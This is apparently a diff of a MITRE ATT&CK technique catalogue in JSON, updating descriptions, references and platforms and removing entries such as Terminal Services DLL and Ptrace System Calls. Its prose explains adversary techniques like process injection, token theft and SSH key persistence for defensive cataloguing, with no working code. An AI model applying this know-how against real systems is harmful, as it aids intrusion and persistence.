"https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7" ] }, "related": [ @@ -7712,7 +7001,7 @@ "value": "Clear Command History - T1070.003" }, { - "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "meta": { "external_id": "T1011.001", "kill_chain": [ @@ -7774,7 +7063,7 @@ "value": "Dead Drop Resolver - T1102.001" }, { - "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)", "meta": { "external_id": "CAPEC-555", "kill_chain": [ @@ -7989,30 +7278,6 @@ "uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "value": "File Transfer Protocols - T1071.002" }, - { - "description": "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: \n \n* Abusing device owner permissions to perform silent uninstallation using device owner API calls. \n* Abusing root permissions to delete files from the filesystem. \n* Abusing the accessibility service. This requires sending an intent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.", - "meta": { - "external_id": "APP-43", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1630/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" - ] - }, - "related": [ - { - "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "type": "subtechnique-of" - } - ], - "uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "value": "Uninstall Malicious Application - T1630.001" - }, { "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.", "meta": { @@ -8042,7 +7307,7 @@ "value": "Invalid Code Signature - T1036.001" }, { - "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)", + "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", "meta": { "external_id": "T1074.001", "kill_chain": [ @@ -8051,8 +7316,7 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "File: File Creation", - "Windows Registry: Windows Registry Key Modification" + "File: File Creation" ], "mitre_platforms": [ "Linux", @@ -8060,8 +7324,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1074/001", - "https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + "https://attack.mitre.org/techniques/T1074/001" ] }, "related": [ @@ -8074,7 +7337,7 @@ "value": "Local Data Staging - T1074.001" }, { - "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", + "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "meta": { "external_id": "CAPEC-593", "kill_chain": [ @@ -8088,20 +7351,14 @@ "mitre_platforms": [ "Office 365", "SaaS", - "Google Workspace", - "Containers" + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1550/001", "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", "https://capec.mitre.org/data/definitions/593.html", - "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials", - "https://cloud.google.com/iam/docs/service-account-monitoring", "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen", - "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html", - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html", "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", - "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration", "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" ] }, @@ -8147,7 +7404,7 @@ "value": "SQL Stored Procedures - T1505.001" }, { - "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, xcopy on Windows can copy files and directories with a variety of options.\n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)", + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.\n\nSome 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.", "meta": { "external_id": "T1560.001", "kill_chain": [ @@ -8166,7 +7423,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1560/001", "https://en.wikipedia.org/wiki/List_of_file_signatures", - "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", "https://www.7-zip.org/", "https://www.rarlab.com/", "https://www.winzip.com/win/en/" @@ -8194,8 +7450,7 @@ ], "mitre_platforms": [ "IaaS", - "Azure AD", - "SaaS" + "Azure AD" ], "refs": [ "https://attack.mitre.org/techniques/T1098/001", @@ -8217,37 +7472,6 @@ "uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "value": "Additional Cloud Credentials - T1098.001" }, - { - "description": "Adversaries may exploit the lack of authentication in signaling system network nodes to track the to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport) \n\n \n\nBy providing the victim’s MSISDN (phone number) and impersonating network internal nodes to query subscriber information from other nodes, adversaries may use data collected from each hop to eventually determine the device’s geographical cell area or nearest cell tower.(Citation: Engel-SS7)", - "meta": { - "external_id": "CEL-38", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:discovery" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf", - "https://attack.mitre.org/techniques/T1430/002", - "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html", - "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf", - "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", - "https://www.youtube.com/watch?v=q0n5ySqbfdI" - ] - }, - "related": [ - { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", - "type": "subtechnique-of" - } - ], - "uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", - "value": "Impersonate SS7 Nodes - T1430.002" - }, { "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", "meta": { @@ -8408,7 +7632,7 @@ "value": "Archive via Library - T1560.002" }, { - "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ", + "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ", "meta": { "external_id": "CAPEC-659", "kill_chain": [ @@ -8465,9 +7689,9 @@ "refs": [ "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", "https://attack.mitre.org/techniques/T1036/003", + "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf", "https://lolbas-project.github.io/", - "https://twitter.com/ItsReallyNick/status/1055321652777619457", - "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "https://twitter.com/ItsReallyNick/status/1055321652777619457" ] }, "related": [ @@ -8779,42 +8003,6 @@ "uuid": "c071d8c1-3b3a-4f22-9407-ca4e96921069", "value": "Install Digital Certificate - T1608.003" }, - { - "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify an existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. For example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)", - "meta": { - "external_id": "T1098.003", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "User Account: User Account Modification" - ], - "mitre_platforms": [ - "Office 365", - "IaaS", - "SaaS", - "Google Workspace", - "Azure AD" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1098/003", - "https://cloud.google.com/iam/docs/policies", - "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html", - "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide", - "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/", - "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5", - "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" - ] - }, - "related": [ - { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", - "type": "subtechnique-of" - } - ], - "uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", - "value": "Additional Cloud Roles - T1098.003" - }, { "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ", "meta": { @@ -8926,7 +8114,7 @@ "value": "Credential API Hooking - T1056.004" }, { - "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. ", + "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)", "meta": { "external_id": "T1098.004", "kill_chain": [ @@ -8939,14 +8127,10 @@ ], "mitre_platforms": [ "Linux", - "macOS", - "IaaS" + "macOS" ], "refs": [ - "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/", "https://attack.mitre.org/techniques/T1098/004", - "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata", - "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update", "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability", "https://www.ssh.com/ssh/authorized_keys/", "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities" @@ -8961,41 +8145,6 @@ "uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", "value": "SSH Authorized Keys - T1098.004" }, - { - "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", - "meta": { - "external_id": "T1505.005", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Modification", - "Module: Module Load", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/", - "https://attack.mitre.org/techniques/T1505/005", - "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services", - "https://github.com/stascorp/rdpwrap", - "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx", - "https://twitter.com/james_inthe_box/status/1150495335812177920" - ] - }, - "related": [ - { - "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", - "type": "subtechnique-of" - } - ], - "uuid": "379809f6-2fac-42c1-bd2e-e9dee70b27f8", - "value": "Terminal Services DLL - T1505.005" - }, { "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", "meta": { @@ -9087,7 +8236,7 @@ "value": "Network Security Appliances - T1590.006" }, { - "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)", + "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)", "meta": { "external_id": "T1059.008", "kill_chain": [ @@ -9240,34 +8389,6 @@ "uuid": "7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "value": "Email Forwarding Rule - T1114.003" }, - { - "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", - "meta": { - "external_id": "T1631.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion", - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://man7.org/linux/man-pages/man2/ptrace.2.html", - "https://attack.mitre.org/techniques/T1631/001", - "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf", - "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be" - ] - }, - "related": [ - { - "dest-uuid": "b7c0e45f-0206-4f75-96e7-fe7edad3aaff", - "type": "subtechnique-of" - } - ], - "uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "value": "Ptrace System Calls - T1631.001" - }, { "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
